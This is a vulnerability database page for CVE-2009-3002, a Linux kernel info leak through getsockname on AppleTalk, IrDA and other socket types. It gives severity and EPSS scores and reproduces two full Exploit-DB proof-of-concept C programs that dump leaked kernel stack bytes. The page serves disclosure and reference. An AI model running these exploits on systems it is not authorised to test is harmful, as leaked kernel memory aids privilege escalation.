CVE-2009-3002

OWSAP

A01-Broken Access Control

EPSS

0.4%V4

Vector

Local

Published

2009-08-28
13h00 +00:00

Modified

2018-10-10
16h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

The Linux kernel before 2.6.31-rc7 does not initialize certain data structures within getname functions, which allows local users to read the contents of some kernel memory locations by calling getsockname on (1) an AF_APPLETALK socket, related to the atalk_getname function in net/appletalk/ddp.c; (2) an AF_IRDA socket, related to the irda_getname function in net/irda/af_irda.c; (3) an AF_ECONET socket, related to the econet_getname function in net/econet/af_econet.c; (4) an AF_NETROM socket, related to the nr_getname function in net/netrom/af_netrom.c; (5) an AF_ROSE socket, related to the rose_getname function in net/rose/af_rose.c; or (6) a raw CAN socket, related to the raw_getname function in net/can/raw.c.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.9		AV:L/AC:L/Au:N/C:C/I:N/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2023-05-21	–	–	–	0.04%	–
2023-05-28	–	–	–	0.04%	–
2023-07-16	–	–	–	0.04%	–
2023-07-23	–	–	–	0.04%	–
2023-09-17	–	–	–	0.04%	–
2023-12-03	–	–	–	0.04%	–
2024-03-17	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-23	–	–	–	0.04%	–
2024-08-04	–	–	–	0.04%	–
2024-08-11	–	–	–	0.04%	–
2024-11-17	–	–	–	0.04%	–
2024-12-22	–	–	–	0.06%	–
2025-01-26	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-01-25	–	–	–	0.06%	–
2025-03-18	–	–	–	–	0.3%
2025-03-30	–	–	–	–	0.4%
2025-03-30	–	–	–	–	0.4,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	8%
2023-05-21	9%
2023-05-28	8%
2023-07-16	9%
2023-07-23	8%
2023-09-17	9%
2023-12-03	8%
2024-03-17	9%
2024-06-02	1%
2024-06-23	11%
2024-08-04	1%
2024-08-11	11%
2024-11-17	12%
2024-12-22	26%
2025-01-26	27%
2025-01-19	26%
2025-01-25	27%
2025-03-18	51%
2025-03-30	58%
2025-03-30	58%

Exploit information

Exploit Database EDB-ID : 9521

Publication date : 2009-08-25 22h00 +00:00
Author : Clément Lecigne
EDB Verified : Yes

/** * appleak.c * * Linux keunouille <= 2.6.30 * * AppleTalk getsockname() 8-bytes kernel stack disclosure * * http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=3d392475c873c10c10d6d96b94d092a34ebd4791 * * atalk_getname() can leak 8 bytes of kernel memory to user * * [clem1@noe ~]$ ./appleak * 1e 83 f2 31 ec 56 d7 f6 | ...1.V.. * 00 f4 55 f6 84 2a ca bf | ..U..*.. * 00 f4 55 f6 1e 83 f2 31 | ..U....1 * 1e 83 f2 31 00 60 5e f6 | ...1.`^. * 00 f4 55 f6 84 2a ca bf | ..U..*.. * c0 2a 54 c0 a8 61 45 f6 | .*T..aE. * 21 54 12 c0 84 2a ca bf | !T...*.. * (...) * * (c) ClÃ©ment LECIGNE <root[a]clem1.be> */ #include <stdlib.h> #include <string.h> #include <stdio.h> #include <errno.h> #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <net/if_arp.h> #include <linux/atalk.h> void kernop(int fd) { /* from Jon Oberheide sploit */ const int randcalls[] = { __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat, __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid, __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, __NR_sched_getparam, __NR_sched_get_priority_max }; const int randsopts[] = { SOL_SOCKET, AF_APPLETALK }; int ret, len; char buf[1024]; do { switch ( rand() % 3 ) { case 0: ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]); break; case 1: len = (rand() % 2) ? sizeof(int) : sizeof(buf); ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len); break; case 2: len = (rand() % 2) ? sizeof(int) : sizeof(buf); ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len); break; } } while ( ret < 0 ); } void dump( unsigned char * data, unsigned int len ) { unsigned int dp, p; const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; for ( dp = 1; dp <= len; dp++ ) { printf("%02x ", data[dp-1]); if ( (dp % 8) == 0 ) { printf("| "); p = dp; for ( dp -= 8; dp < p; dp++ ) { printf("%c", trans[data[dp]]); } printf("\n"); } } return; } int main(void) { struct sockaddr_at sat; int s, len = sizeof(sat), occ = 500; char prev_zero[sizeof(sat.sat_zero)] = { 0 }; s = socket(AF_APPLETALK, SOCK_DGRAM, 0); if ( s == -1 ) { perror("socket"); return EXIT_FAILURE; } memset(&sat, 0, sizeof(sat)); sat.sat_family = AF_APPLETALK; sat.sat_addr.s_net = htons(ATADDR_ANYNET); sat.sat_addr.s_node = ATADDR_ANYNODE; sat.sat_port = ATADDR_ANYPORT; if ( bind(s, (struct sockaddr *) &sat, len) < 0 ) { perror("bind"); return EXIT_FAILURE; } srand(time(NULL) ^ getpid()); while ( --occ ) { kernop(s); if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 ) { if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 ) { dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero)); memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero)); usleep(5000); } } } close(s); return EXIT_SUCCESS; } // milw0rm.com [2009-08-26]

Exploit Database EDB-ID : 9543

Publication date : 2009-08-30 22h00 +00:00
Author : Jon Oberheide
EDB Verified : Yes

/* * cve-2009-3002.c * * Linux Kernel < 2.6.31-rc7 AF_IRDA getsockname 29-Byte Stack Disclosure * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002 * * The Linux kernel before 2.6.31-rc7 does not initialize certain data * structures within getname functions, which allows local users to read * the contents of some kernel memory locations by calling getsockname * on ... (2) an AF_IRDA socket, related to the irda_getname function in * net/irda/af_irda.c. * * Notes: * * Yet another stack disclosure...although this one is big and contiguous. */ #include <stdlib.h> #include <string.h> #include <stdio.h> #include <stdint.h> #include <errno.h> #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #ifndef AF_IRDA #define AF_IRDA 23 #endif struct sockaddr_irda { uint16_t sir_family; uint8_t sir_lsap_sel; uint32_t sir_addr; char sir_name[25]; }; const int randcalls[] = { __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat, __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid, __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, __NR_sched_getparam, __NR_sched_get_priority_max }; void dump(const unsigned char *p, unsigned l) { printf("sockaddr_irda:"); while (l > 0) { printf(" "); if (l == 33 || l == 28) { printf("<<< "); } printf("%02x", *p); if (l == 33 || l == 1) { printf(" >>>"); } ++p; --l; } printf("\n"); } int main(void) { struct sockaddr_irda saddr; int ret, call, sock, len = sizeof(saddr); printf("[+] Creating AF_IRDA socket.\n"); sock = socket(AF_IRDA, SOCK_DGRAM, 0); if (sock == -1) { printf("[-] Error: Couldn't create AF_IRDA socket.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } memset(&saddr, 0, len); printf("[+] Ready to call getsockname.\n\n"); for (ret = 5; ret > 0; ret--) { printf("%d...\n", ret); sleep(1); } srand(time(NULL)); while (1) { /* random stuff to make stack pseudo-interesting */ call = rand() % (sizeof(randcalls) / sizeof(int)); syscall(randcalls[call]); ret = getsockname(sock, (struct sockaddr *) &saddr, &len); if (ret != 0) { printf("[-] Error: getsockname failed.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } dump((unsigned char *) &saddr, sizeof(saddr)); } return 0; } // milw0rm.com [2009-08-31]